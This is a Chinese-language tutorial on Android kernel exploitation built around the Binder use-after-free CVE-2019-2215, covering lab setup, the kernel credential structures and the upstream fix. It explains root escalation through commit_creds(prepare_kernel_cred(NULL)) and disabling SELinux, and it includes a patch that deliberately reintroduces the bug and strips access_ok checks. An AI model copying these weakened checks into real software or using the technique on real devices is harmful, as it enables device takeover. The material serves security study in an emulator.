写这个手册目的是为了学习在Android平台上的内核漏洞分析和漏洞利用开发,顺便记录一下过程。
0x01 环境配置
整个分析和开发将在虚拟环境中完成,以便于访问和调试。
硬体需求
· 40 GB可用硬盘空间
· 8 GB以上的RAM
· 多核处理器
软件需求
对于漏洞分析,我们将需要在Ubuntu 18.04 LTS主机上安装以下给定的工具项。但也支持Windows,Mac OSX和其他操作系统。
· GDB
· Workshop Repository
· Android Studio
· Android NDK
· Android虚拟设备
· Android内核源码
GDB
打开一个终端窗口,然后键入以下给定的命令验证是否已安装GDB,将需要使用python 2.7和支持编译的GDB。
ashfaq@hacksys:~$ gdb --version GNU gdb (GDB) 8.2 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. ashfaq@hacksys:~$ gdb -quiet GEF for linux ready, type `gef' to start, `gef config' to configure 77 commands loaded for GDB 8.2 using Python engine 2.7 [*] 3 commands could not be loaded, run `gef missing` to know why. gef> py >import sys >print sys.version_info >end sys.version_info(major=2, minor=7, micro=17, releaselevel='final', serial=0) gef> q ashfaq@hacksys:~$ readelf -d $(which gdb) | grep python 0x0000000000000001 (NEEDED) Shared library: [libpython2.7.so.1.0] ashfaq@hacksys:~$ python --version Python 2.7.17
如果你的系统中未安装GDB,请确保在python 2.7支持下进行安装。
Workshop Repository
打开一个终端窗口并键入下面给出命令clone资源库。
ashfaq@hacksys:~$ git clone https://github.com/cloudfuzz/android-kernel-exploitation ~/workshop
Android Studio
可以在这里找到Android Studio的安装说明https://developer.android.com/studio/install
Android Studio安装完成,要确保添加~/Android/Sdk/platform-tools和~/Android/Sdk/emulator的PATH环境变量。这将允许在不指定完整路径的情况下可以使用adb和emulator命令。
Android NDK
你可以在以下网址找到Android NDK的安装说明:https://developer.android.com/studio/projects/install-ndk
我当前正在使用Android NDK版本:21.0.6113669。
Android虚拟设备
在本分析中,我们将使用Android 10.0(Q) Google Play Intel x86 Atom_64 System Image。
下载完系统映像后,必须创建一个虚拟设备。
你也可以从命令行启动我们要创建的虚拟设备。
ashfaq@hacksys:~/workshop$ emulator -avd CVE-2019-2215
Android内核源码
Android由Linux内核提供支持。在本次分析中,我们将使用q-goldfish-android-goldfish-4.14-devAndroid内核源代码存储库的分支。
有关为Android构建自定义内核的更多信息,请访问https://source.android.com/setup/build/building-kernels
Google建议用repo同步内核源代码树。在此处了解repo更多信息:https : //gerrit.googlesource.com/git-repo/+/refs/heads/master/README.md
repo安装完成,现在就可以开始同步内核源代码树,需要下载必要的构建工具。
我们不想下载包含所有提交历史记录和不同分支的存储库。因此,我们将进行shallow clone。
目前,我正在使用ID提交,命令会允许我们指定要clone的提交ID。因此,我创建了一个自定义清单文件182a76ba7053af521e4c0d5fd62134f1e323191d ,在repo初始化后将替换该清单文件。
我在此自定义清单中所做的唯一更改是在修订属性中指定了提交哈希。
注意:大约需要12 GB的磁盘空间,因此在运行以下命令之前,请确保计算机上有足够的空间。
ashfaq@hacksys:~$ mkdir ~/workshop ashfaq@hacksys:~$ cd workshop/ ashfaq@hacksys:~/workshop$ mkdir android-4.14-dev ashfaq@hacksys:~/workshop$ cd android-4.14-dev/ ashfaq@hacksys:~/workshop/android-4.14-dev$ repo init --depth=1 -u https://android.googlesource.com/kernel/manifest -b q-goldfish-android-goldfish-4.14-dev ashfaq@hacksys:~/workshop/android-4.14-dev$ cp ../custom-manifest/default.xml .repo/manifests/ ashfaq@hacksys:~/workshop/android-4.14-dev$ repo sync -c --no-tags --no-clone-bundle -j`nproc`
同步了源代码树后,就可以继续进行分析。
0x02 Linux 内核提权
本次分析的最终目标是使用Android内核漏洞来实现内核提权,也就是得到root权限。在Linux中, root超级用户是uid=0(root) gid=0(root)并具有所有访问权限。
轻量级进程
Linux使用轻量级进程来实现更好的支持多线程。每个轻量级进程都分配有一个过程描述符,称为task_struct,并在include/linux/sched.h中定义。
struct task_struct { #ifdef CONFIG_THREAD_INFO_IN_TASK /* * For reasons of header soup (see current_thread_info()), this * must be the first element of task_struct. */ struct thread_info thread_info; #endif /* -1 unrunnable, 0 runnable, >0 stopped: */ volatile long state; /* * This begins the randomizable portion of task_struct. Only * scheduling-critical items should be added above here. */ randomized_struct_fields_start void *stack; atomic_t usage; /* Per task flags (PF_*), defined further below: */ unsigned int flags; unsigned int ptrace; #ifdef CONFIG_SMP struct llist_node wake_entry; int on_cpu; #ifdef CONFIG_THREAD_INFO_IN_TASK /* Current CPU: */ unsigned int cpu; #endif unsigned int wakee_flips; unsigned long wakee_flip_decay_ts; struct task_struct *last_wakee; int wake_cpu; #endif int on_rq; int prio; int static_prio; int normal_prio; unsigned int rt_priority; const struct sched_class *sched_class; struct sched_entity se; struct sched_rt_entity rt; #ifdef CONFIG_SCHED_WALT struct ravg ravg; /* * 'init_load_pct' represents the initial task load assigned to children * of this task */ u32 init_load_pct; u64 last_sleep_ts; #endif #ifdef CONFIG_CGROUP_SCHED struct task_group *sched_task_group; #endif struct sched_dl_entity dl; #ifdef CONFIG_PREEMPT_NOTIFIERS /* List of struct preempt_notifier: */ struct hlist_head preempt_notifiers; #endif #ifdef CONFIG_BLK_DEV_IO_TRACE unsigned int btrace_seq; #endif unsigned int policy; int nr_cpus_allowed; cpumask_t cpus_allowed; #ifdef CONFIG_PREEMPT_RCU int rcu_read_lock_nesting; union rcu_special rcu_read_unlock_special; struct list_head rcu_node_entry; struct rcu_node *rcu_blocked_node; #endif /* #ifdef CONFIG_PREEMPT_RCU */ #ifdef CONFIG_TASKS_RCU unsigned long rcu_tasks_nvcsw; u8 rcu_tasks_holdout; u8 rcu_tasks_idx; int rcu_tasks_idle_cpu; struct list_head rcu_tasks_holdout_list; #endif /* #ifdef CONFIG_TASKS_RCU */ struct sched_info sched_info; struct list_head tasks; #ifdef CONFIG_SMP struct plist_node pushable_tasks; struct rb_node pushable_dl_tasks; #endif struct mm_struct *mm; struct mm_struct *active_mm; /* Per-thread vma caching: */ struct vmacache vmacache; #ifdef SPLIT_RSS_COUNTING struct task_rss_stat rss_stat; #endif int exit_state; int exit_code; int exit_signal; /* The signal sent when the parent dies: */ int pdeath_signal; /* JOBCTL_*, siglock protected: */ unsigned long jobctl; /* Used for emulating ABI behavior of previous Linux versions: */ unsigned int personality; /* Scheduler bits, serialized by scheduler locks: */ unsigned sched_reset_on_fork:1; unsigned sched_contributes_to_load:1; unsigned sched_migrated:1; unsigned sched_remote_wakeup:1; #ifdef CONFIG_PSI unsigned sched_psi_wake_requeue:1; #endif /* Force alignment to the next boundary: */ unsigned :0; /* Unserialized, strictly 'current' */ /* Bit to tell LSMs we're in execve(): */ unsigned in_execve:1; unsigned in_iowait:1; #ifndef TIF_RESTORE_SIGMASK unsigned restore_sigmask:1; #endif #ifdef CONFIG_MEMCG unsigned memcg_may_oom:1; #ifndef CONFIG_SLOB unsigned memcg_kmem_skip_account:1; #endif #endif #ifdef CONFIG_COMPAT_BRK unsigned brk_randomized:1; #endif #ifdef CONFIG_CGROUPS /* disallow userland-initiated cgroup migration */ unsigned no_cgroup_migration:1; #endif unsigned long atomic_flags; /* Flags requiring atomic access. */ struct restart_block restart_block; pid_t pid; pid_t tgid; #ifdef CONFIG_CC_STACKPROTECTOR /* Canary value for the -fstack-protector GCC feature: */ unsigned long stack_canary; #endif /* * Pointers to the (original) parent process, youngest child, younger sibling, * older sibling, respectively. (p->father can be replaced with * p->real_parent->pid) */ /* Real parent process: */ struct task_struct __rcu *real_parent; /* Recipient of SIGCHLD, wait4() reports: */ struct task_struct __rcu *parent; /* * Children/sibling form the list of natural children: */ struct list_head children; struct list_head sibling; struct task_struct *group_leader; /* * 'ptraced' is the list of tasks this task is using ptrace() on. * * This includes both natural children and PTRACE_ATTACH targets. * 'ptrace_entry' is this task's link on the p->parent->ptraced list. */ struct list_head ptraced; struct list_head ptrace_entry; /* PID/PID hash table linkage. */ struct pid_link pids[PIDTYPE_MAX]; struct list_head thread_group; struct list_head thread_node; struct completion *vfork_done; /* CLONE_CHILD_SETTID: */ int __user *set_child_tid; /* CLONE_CHILD_CLEARTID: */ int __user *clear_child_tid; u64 utime; u64 stime; #ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME u64 utimescaled; u64 stimescaled; #endif u64 gtime; #ifdef CONFIG_CPU_FREQ_TIMES u64 *time_in_state; unsigned int max_state; #endif struct prev_cputime prev_cputime; #ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN struct vtime vtime; #endif #ifdef CONFIG_NO_HZ_FULL atomic_t tick_dep_mask; #endif /* Context switch counts: */ unsigned long nvcsw; unsigned long nivcsw; /* Monotonic time in nsecs: */ u64 start_time; /* Boot based time in nsecs: */ u64 real_start_time; /* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */ unsigned long min_flt; unsigned long maj_flt; #ifdef CONFIG_POSIX_TIMERS struct task_cputime cputime_expires; struct list_head cpu_timers[3]; #endif /* Process credentials: */ /* Tracer's credentials at attach: */ const struct cred __rcu *ptracer_cred; /* Objective and real subjective task credentials (COW): */ const struct cred __rcu *real_cred; /* Effective (overridable) subjective task credentials (COW): */ const struct cred __rcu *cred; /* * executable name, excluding path. * * - normally initialized setup_new_exec() * - access it with [gs]et_task_comm() * - lock it with task_lock() */ char comm[TASK_COMM_LEN]; struct nameidata *nameidata; #ifdef CONFIG_SYSVIPC struct sysv_sem sysvsem; struct sysv_shm sysvshm; #endif #ifdef CONFIG_DETECT_HUNG_TASK unsigned long last_switch_count; #endif /* Filesystem information: */ struct fs_struct *fs; /* Open file information: */ struct files_struct *files; /* Namespaces: */ struct nsproxy *nsproxy; /* Signal handlers: */ struct signal_struct *signal; struct sighand_struct *sighand; sigset_t blocked; sigset_t real_blocked; /* Restored if set_restore_sigmask() was used: */ sigset_t saved_sigmask; struct sigpending pending; unsigned long sas_ss_sp; size_t sas_ss_size; unsigned int sas_ss_flags; struct callback_head *task_works; struct audit_context *audit_context; #ifdef CONFIG_AUDITSYSCALL kuid_t loginuid; unsigned int sessionid; #endif struct seccomp seccomp; /* Thread group tracking: */ u32 parent_exec_id; u32 self_exec_id; /* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */ spinlock_t alloc_lock; /* Protection of the PI data structures: */ raw_spinlock_t pi_lock; struct wake_q_node wake_q; #ifdef CONFIG_RT_MUTEXES /* PI waiters blocked on a rt_mutex held by this task: */ struct rb_root_cached pi_waiters; /* Updated under owner's pi_lock and rq lock */ struct task_struct *pi_top_task; /* Deadlock detection and priority inheritance handling: */ struct rt_mutex_waiter *pi_blocked_on; #endif #ifdef CONFIG_DEBUG_MUTEXES /* Mutex deadlock detection: */ struct mutex_waiter *blocked_on; #endif #ifdef CONFIG_TRACE_IRQFLAGS unsigned int irq_events; unsigned long hardirq_enable_ip; unsigned long hardirq_disable_ip; unsigned int hardirq_enable_event; unsigned int hardirq_disable_event; int hardirqs_enabled; int hardirq_context; unsigned long softirq_disable_ip; unsigned long softirq_enable_ip; unsigned int softirq_disable_event; unsigned int softirq_enable_event; int softirqs_enabled; int softirq_context; #endif #ifdef CONFIG_LOCKDEP # define MAX_LOCK_DEPTH 48UL u64 curr_chain_key; int lockdep_depth; unsigned int lockdep_recursion; struct held_lock held_locks[MAX_LOCK_DEPTH]; #endif #ifdef CONFIG_LOCKDEP_CROSSRELEASE #define MAX_XHLOCKS_NR 64UL struct hist_lock *xhlocks; /* Crossrelease history locks */ unsigned int xhlock_idx; /* For restoring at history boundaries */ unsigned int xhlock_idx_hist[XHLOCK_CTX_NR]; unsigned int hist_id; /* For overwrite check at each context exit */ unsigned int hist_id_save[XHLOCK_CTX_NR]; #endif #ifdef CONFIG_UBSAN unsigned int in_ubsan; #endif /* Journalling filesystem info: */ void *journal_info; /* Stacked block device info: */ struct bio_list *bio_list; #ifdef CONFIG_BLOCK /* Stack plugging: */ struct blk_plug *plug; #endif /* VM state: */ struct reclaim_state *reclaim_state; struct backing_dev_info *backing_dev_info; struct io_context *io_context; /* Ptrace state: */ unsigned long ptrace_message; siginfo_t *last_siginfo; struct task_io_accounting ioac; #ifdef CONFIG_PSI /* Pressure stall state */ unsigned int psi_flags; #endif #ifdef CONFIG_TASK_XACCT /* Accumulated RSS usage: */ u64 acct_rss_mem1; /* Accumulated virtual memory usage: */ u64 acct_vm_mem1; /* stime + utime since last update: */ u64 acct_timexpd; #endif #ifdef CONFIG_CPUSETS /* Protected by ->alloc_lock: */ nodemask_t mems_allowed; /* Seqence number to catch updates: */ seqcount_t mems_allowed_seq; int cpuset_mem_spread_rotor; int cpuset_slab_spread_rotor; #endif #ifdef CONFIG_CGROUPS /* Control Group info protected by css_set_lock: */ struct css_set __rcu *cgroups; /* cg_list protected by css_set_lock and tsk->alloc_lock: */ struct list_head cg_list; #endif #ifdef CONFIG_INTEL_RDT u32 closid; u32 rmid; #endif #ifdef CONFIG_FUTEX struct robust_list_head __user *robust_list; #ifdef CONFIG_COMPAT struct compat_robust_list_head __user *compat_robust_list; #endif struct list_head pi_state_list; struct futex_pi_state *pi_state_cache; #endif #ifdef CONFIG_PERF_EVENTS struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts]; struct mutex perf_event_mutex; struct list_head perf_event_list; #endif #ifdef CONFIG_DEBUG_PREEMPT unsigned long preempt_disable_ip; #endif #ifdef CONFIG_NUMA /* Protected by alloc_lock: */ struct mempolicy *mempolicy; short il_prev; short pref_node_fork; #endif #ifdef CONFIG_NUMA_BALANCING int numa_scan_seq; unsigned int numa_scan_period; unsigned int numa_scan_period_max; int numa_preferred_nid; unsigned long numa_migrate_retry; /* Migration stamp: */ u64 node_stamp; u64 last_task_numa_placement; u64 last_sum_exec_runtime; struct callback_head numa_work; struct list_head numa_entry; struct numa_group *numa_group; /* * numa_faults is an array split into four regions: * faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer * in this precise order. * * faults_memory: Exponential decaying average of faults on a per-node * basis. Scheduling placement decisions are made based on these * counts. The values remain static for the duration of a PTE scan. * faults_cpu: Track the nodes the process was running on when a NUMA * hinting fault was incurred. * faults_memory_buffer and faults_cpu_buffer: Record faults per node * during the current scan window. When the scan completes, the counts * in faults_memory and faults_cpu decay and these values are copied. */ unsigned long *numa_faults; unsigned long total_numa_faults; /* * numa_faults_locality tracks if faults recorded during the last * scan window were remote/local or failed to migrate. The task scan * period is adapted based on the locality of the faults with different * weights depending on whether they were shared or private faults */ unsigned long numa_faults_locality[3]; unsigned long numa_pages_migrated; #endif /* CONFIG_NUMA_BALANCING */ struct tlbflush_unmap_batch tlb_ubc; struct rcu_head rcu; /* Cache last used pipe for splice(): */ struct pipe_inode_info *splice_pipe; struct page_frag task_frag; #ifdef CONFIG_TASK_DELAY_ACCT struct task_delay_info *delays; #endif #ifdef CONFIG_FAULT_INJECTION int make_it_fail; unsigned int fail_nth; #endif /* * When (nr_dirtied >= nr_dirtied_pause), it's time to call * balance_dirty_pages() for a dirty throttling pause: */ int nr_dirtied; int nr_dirtied_pause; /* Start of a write-and-pause period: */ unsigned long dirty_paused_when; #ifdef CONFIG_LATENCYTOP int latency_record_count; struct latency_record latency_record[LT_SAVECOUNT]; #endif /* * Time slack values; these are used to round up poll() and * select() etc timeout values. These are in nanoseconds. */ u64 timer_slack_ns; u64 default_timer_slack_ns; #ifdef CONFIG_KASAN unsigned int kasan_depth; #endif #ifdef CONFIG_FUNCTION_GRAPH_TRACER /* Index of current stored address in ret_stack: */ int curr_ret_stack; /* Stack of return addresses for return function tracing: */ struct ftrace_ret_stack *ret_stack; /* Timestamp for last schedule: */ unsigned long long ftrace_timestamp; /* * Number of functions that haven't been traced * because of depth overrun: */ atomic_t trace_overrun; /* Pause tracing: */ atomic_t tracing_graph_pause; #endif #ifdef CONFIG_TRACING /* State flags for use by tracers: */ unsigned long trace; /* Bitmask and counter of trace recursion: */ unsigned long trace_recursion; #endif /* CONFIG_TRACING */ #ifdef CONFIG_KCOV /* Coverage collection mode enabled for this task (0 if disabled): */ enum kcov_mode kcov_mode; /* Size of the kcov_area: */ unsigned int kcov_size; /* Buffer for coverage collection: */ void *kcov_area; /* KCOV descriptor wired with this task or NULL: */ struct kcov *kcov; #endif #ifdef CONFIG_MEMCG struct mem_cgroup *memcg_in_oom; gfp_t memcg_oom_gfp_mask; int memcg_oom_order; /* Number of pages to reclaim on returning to userland: */ unsigned int memcg_nr_pages_over_high; #endif #ifdef CONFIG_UPROBES struct uprobe_task *utask; #endif #if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE) unsigned int sequential_io; unsigned int sequential_io_avg; #endif #ifdef CONFIG_DEBUG_ATOMIC_SLEEP unsigned long task_state_change; #endif int pagefault_disabled; #ifdef CONFIG_MMU struct task_struct *oom_reaper_list; #endif #ifdef CONFIG_VMAP_STACK struct vm_struct *stack_vm_area; #endif #ifdef CONFIG_THREAD_INFO_IN_TASK /* A live task holds one reference: */ atomic_t stack_refcount; #endif #ifdef CONFIG_LIVEPATCH int patch_state; #endif #ifdef CONFIG_SECURITY /* Used by LSM modules for access restriction: */ void *security; #endif /* * New fields for task_struct should be added above here, so that * they are included in the randomized portion of task_struct. */ randomized_struct_fields_end /* CPU-specific state of this task: */ struct thread_struct thread; /* * WARNING: on x86, 'thread_struct' contains a variable-sized * structure. It *MUST* be at the end of 'task_struct'. * * Do not put anything below here! */ };
该数据结构包含管理流程的所有信息,在此task_struct结构中,最有意思的成员之一是cred。
进程凭证
任务的安全性上下文由struct cred定义,并在include/linux/cred.h中定义。
struct cred { atomic_t usage; #ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic; #define CRED_MAGIC 0x43736564 #define CRED_MAGIC_DEAD 0x44656144 #endif kuid_t uid; /* real UID of the task */ kgid_t gid; /* real GID of the task */ kuid_t suid; /* saved UID of the task */ kgid_t sgid; /* saved GID of the task */ kuid_t euid; /* effective UID of the task */ kgid_t egid; /* effective GID of the task */ kuid_t fsuid; /* UID for VFS ops */ kgid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */ kernel_cap_t cap_ambient; /* Ambient capability set */ #ifdef CONFIG_KEYS unsigned char jit_keyring; /* default keyring to attach requested * keys to */ struct key __rcu *session_keyring; /* keyring inherited over fork */ struct key *process_keyring; /* keyring private to this process */ struct key *thread_keyring; /* keyring private to this thread */ struct key *request_key_auth; /* assumed request_key authority */ #endif #ifdef CONFIG_SECURITY void *security; /* subjective LSM security */ #endif struct user_struct *user; /* real user ID subscription */ struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ struct group_info *group_info; /* supplementary groups for euid/fsgid */ /* RCU deletion */ union { int non_rcu; /* Can we skip RCU deletion? */ struct rcu_head rcu; /* RCU deletion hook */ }; } __randomize_layout;
在大多数Linux 内核漏洞利用中,你必须已经了解root权限的实现原理和使用方法。
commit_creds(prepare_kernel_cred(NULL));
尝试研究这两个函数并查看它们的作用。首先,让我们看一下在kernel/cred.c中定义的prepare_kernel_cred函数。
struct cred *prepare_kernel_cred(struct task_struct *daemon) { const struct cred *old; struct cred *new; new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL; kdebug("prepare_kernel_cred() alloc %p", new); if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred); validate_creds(old); *new = *old; [...] validate_creds(new); return new; error: [...] return NULL; }
该函数使用了task_struct,需要找一下内核指针。如果我们为该函数提供NULL指向task_struct的指针,它将获得默认凭证init_cred。init_cred是kernel/cred.c中定义的全局struct cred,用于初始化Linux中init_task的第一项任务凭证。
/* * The initial credentials for the initial task */ struct cred init_cred = { .usage = ATOMIC_INIT(4), #ifdef CONFIG_DEBUG_CREDENTIALS .subscribers = ATOMIC_INIT(2), .magic = CRED_MAGIC, #endif .uid = GLOBAL_ROOT_UID, .gid = GLOBAL_ROOT_GID, .suid = GLOBAL_ROOT_UID, .sgid = GLOBAL_ROOT_GID, .euid = GLOBAL_ROOT_UID, .egid = GLOBAL_ROOT_GID, .fsuid = GLOBAL_ROOT_UID, .fsgid = GLOBAL_ROOT_GID, .securebits = SECUREBITS_DEFAULT, .cap_inheritable = CAP_EMPTY_SET, .cap_permitted = CAP_FULL_SET, .cap_effective = CAP_FULL_SET, .cap_bset = CAP_FULL_SET, .user = INIT_USER, .user_ns = &init_user_ns, .group_info = &init_groups, };
看看这些定义的含义。
#define GLOBAL_ROOT_UID (uint32_t)0 #define GLOBAL_ROOT_GID (uint32_t)0 #define SECUREBITS_DEFAULT (uint32_t)0x00000000 #define CAP_EMPTY_SET (uint64_t)0 #define CAP_FULL_SET (uint64_t)0x3FFFFFFFFF
init_cred的cred结构设置如下所示。
cred->uid = 0; cred->gid = 0; cred->suid = 0; cred->idid = 0; cred->euid = 0; cred->egid = 0; cred->fsuid = 0; cred->fsgid = 0; cred->securebits = 0; cred->cap_inheritable.cap[0] = 0; cred->cap_inheritable.cap[1] = 0; cred->cap_permitted.cap[0] = 0x3F; cred->cap_permitted.cap[1] = 0xFFFFFFFF; cred->cap_effective.cap[0] = 0x3F; cred->cap_effective.cap[1] = 0xFFFFFFFF; cred->cap_bset.cap[0] = 0x3F; cred->cap_bset.cap[1] = 0xFFFFFFFF; cred->cap_ambient.cap[0] = 0; cred->cap_ambient.cap[1] = 0;
看一下commit_creds函数尝试了解它的作用。
int commit_creds(struct cred *new) { struct task_struct *task = current; const struct cred *old = task->real_cred; [...] rcu_assign_pointer(task->real_cred, new); rcu_assign_pointer(task->cred, new); [...] return 0; }
commit_creds基本上将task->real_cred和task->cred设置为具有指向新cred结构的指针。发送NULL到prepare_kernel_cred的init_cred地址,这样就可以得到root权限。
SELinux
SELinux是由国家安全局(NSA)使用Linux安全模块(LSM)开发的。
SELinux有两种模式
· 允许 - 会记录拒绝权限但不会强制执行
· 强制执行 - 记录并强制执行拒绝权限
在Android中,SELinux的默认模式是强制执行,即使我们获得root身份,我们也要遵守SELinux规则。
generic_x86_64:/ $ getenforce Enforcing
因此,还需要禁用SELinux。
selinux_enforcing
selinux_enforcing是决定是否全局变量的SELinux被强制执行或不执行。如果可以找出selinux_enforcing内存中的位置并将其设置为NULL,则可以全局禁用SELinux,现在SELinux将处于许可模式。
SecComp
SecComp代表安全计算模式,它是一种Linux内核功能,可以过滤系统调用。启用后,只能使用4个系统调用:read(),write(),exit(),和sigreturn()。
从shell 运行漏洞利用程序时,adb不会受到seccomp的影响。但是,如果将漏洞利用包捆绑在Android应用程序中,则会受到seccomp的攻击。
在本分析中,我们将不讨论seccomp。
0x03 漏洞挖掘
下面我们将研究Binder IPC子系统中的CVE-2019-2215 Use after Free漏洞。
这是一个非常严重的漏洞,因为可以从Chrome沙箱访问binder子系统,如果将其与渲染器漏洞链接在一起,则可能导致内核提权。
漏洞发现
该漏洞最初是由syzbot(syzkaller bot)在2017年11月发现,可以在这里找到原始漏洞报告:https://groups.google.com/forum/#!msg/syzkaller-bugs/QyXdgUhAF50/eLGkcwk9AQAJ
该漏洞于2018年2月修复,没有分配CVE编号,因此,该补丁程序并未移植到许多已经发布的设备上,例如Pixel和Pixel 2。
复现挖掘
此漏洞是由Project Zero的麦迪斯通(@maddiestone)在谷歌的情报报告威胁分析(TAG)基础上重新发现的 。她于2019年9月27日报告了此漏洞。你可以在这里找到Maddie的报告https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
重新挖掘此漏洞非常有趣,Maddie在此处把漏洞利用过程记录下来了:https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
我强烈建议大家阅读此文章,以便你了解有关重新发现此bug的方法。
补丁分析
这个bug的补丁是q-goldfish-android-goldfish-4.14-dev,提交ID是 7a3cee43e935b9d526ad07f20bf005ba7e74d05b。
ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git show 7a3cee43e935b9d526ad07f20bf005ba7e74d05b commit 7a3cee43e935b9d526ad07f20bf005ba7e74d05b Author: Martijn Coenen Date: Fri Jan 5 11:27:07 2018 +0100 ANDROID: binder: remove waitqueue when thread exits. commit f5cb779ba16334b45ba8946d6bfa6d9834d1527f upstream. binder_poll() passes the thread->wait waitqueue that can be slept on for work. When a thread that uses epoll explicitly exits using BINDER_THREAD_EXIT, the waitqueue is freed, but it is never removed from the corresponding epoll data structure. When the process subsequently exits, the epoll cleanup code tries to access the waitlist, which results in a use-after-free. Prevent this by using POLLFREE when the thread exits. Signed-off-by: Martijn Coenen Reported-by: syzbot Signed-off-by: Greg Kroah-Hartman diff --git a/drivers/android/binder.c b/drivers/android/binder.c index a340766b51fe..2ef8bd29e188 100644 --- a/drivers/android/binder.c +++ b/drivers/android/binder.c @@ -4302,6 +4302,18 @@ static int binder_thread_release(struct binder_proc *proc, if (t) spin_lock(&t->lock); } + + /* + * If this thread used poll, make sure we remove the waitqueue + * from any epoll data structures holding it with POLLFREE. + * waitqueue_active() is safe to use here because we're holding + * the inner lock. + */ + if ((thread->looper & BINDER_LOOPER_STATE_POLL) && + waitqueue_active(&thread->wait)) { + wake_up_poll(&thread->wait, POLLHUP | POLLFREE); + } + binder_inner_proc_unlock(thread->proc); if (send_reply)
注意:因为做了shallow clone,所以将无法看到此提交历史记录。但是,我有该分支的完整cloneq-goldfish-android-goldfish-4.14-dev。
0x04 漏洞触发
在“ Android内核源码”部分中,我们同步了 q-goldfish-android-goldfish-4.14-dev分支。但是,CVE-2019-2215已在q-goldfish-android-goldfish-4.14-dev中进行了修补。
我们将通过应用自定义补丁来重新引入该漏洞,然后使用Kernel Address Sanitizer(KASan)对其进行重新编译。
重新引入漏洞
可以在目录中找到自定义补丁workshop/patch,它将再次引入该漏洞。
diff --git a/drivers/android/binder.c b/drivers/android/binder.c index f6ddec245187..55e2748a13e4 100644 --- a/drivers/android/binder.c +++ b/drivers/android/binder.c @@ -4768,10 +4768,12 @@ static int binder_thread_release(struct binder_proc *proc, * waitqueue_active() is safe to use here because we're holding * the inner lock. */ + /* if ((thread->looper & BINDER_LOOPER_STATE_POLL) && waitqueue_active(&thread->wait)) { wake_up_poll(&thread->wait, POLLHUP | POLLFREE); } + */ binder_inner_proc_unlock(thread->proc); @@ -4781,8 +4783,10 @@ static int binder_thread_release(struct binder_proc *proc, * descriptor being closed); ep_remove_waitqueue() holds an RCU read * lock, so we can be sure it's done after calling synchronize_rcu(). */ + /* if (thread->looper & BINDER_LOOPER_STATE_POLL) synchronize_rcu(); + */ if (send_reply) binder_send_failed_reply(send_reply, BR_DEAD_REPLY); diff --git a/lib/iov_iter.c b/lib/iov_iter.c index 7b2fd5f251f2..67af61637f55 100644 --- a/lib/iov_iter.c +++ b/lib/iov_iter.c @@ -132,19 +132,21 @@ static int copyout(void __user *to, const void *from, size_t n) { - if (access_ok(VERIFY_WRITE, to, n)) { + /*if (access_ok(VERIFY_WRITE, to, n)) { kasan_check_read(from, n); n = raw_copy_to_user(to, from, n); - } + }*/ + n = raw_copy_to_user(to, from, n); return n; } static int copyin(void *to, const void __user *from, size_t n) { - if (access_ok(VERIFY_READ, from, n)) { + /*if (access_ok(VERIFY_READ, from, n)) { kasan_check_write(to, n); n = raw_copy_from_user(to, from, n); - } + }*/ + n = raw_copy_from_user(to, from, n); return n; }
应用补丁程序,看看修改了哪些文件。
ashfaq@hacksys:~/workshop/android-4.14-dev$ cd goldfish/ ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status Not currently on any branch. nothing to commit, working tree clean ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git apply ~/workshop/patch/cve-2019-2215.patch ashfaq@hacksys:~/workshop/android-4.14-dev/goldfish$ git status Not currently on any branch. Changes not staged for commit: (use "git add ..." to update what will be committed) (use "git checkout -- ..." to discard changes in working directory) modified: drivers/android/binder.c modified: lib/iov_iter.c no changes added to commit (use "git add" and/or "git commit -a")
补丁drivers/android/binder.c程序很好理解。
用KASan重新编译内核
要使用KASan支持编译内核,我们需要一个配置文件,可以在workshop/build-configs/goldfish.x86_64.kasan目录中找到配置文件。
ARCH=x86_64 BRANCH=kasan CC=clang CLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin BUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86 CLANG_TRIPLE=x86_64-linux-gnu- CROSS_COMPILE=x86_64-linux-androidkernel- LINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin KERNEL_DIR=goldfish EXTRA_CMDS='' STOP_SHIP_TRACEPRINTK=1 FILES=" arch/x86/boot/bzImage vmlinux System.map " DEFCONFIG=x86_64_ranchu_defconfig POST_DEFCONFIG_CMDS="check_defconfig && update_kasan_config" function update_kasan_config() { ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \ -e CONFIG_KASAN \ -e CONFIG_KASAN_INLINE \ -e CONFIG_TEST_KASAN \ -e CONFIG_KCOV \ -e CONFIG_SLUB \ -e CONFIG_SLUB_DEBUG \ -e CONFIG_SLUB_DEBUG_ON \ -d CONFIG_SLUB_DEBUG_PANIC_ON \ -d CONFIG_KASAN_OUTLINE \ -d CONFIG_KERNEL_LZ4 \ -d CONFIG_RANDOMIZE_BASE (cd ${OUT_DIR} && \ make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig) }
使用此配置文件并开始编译。
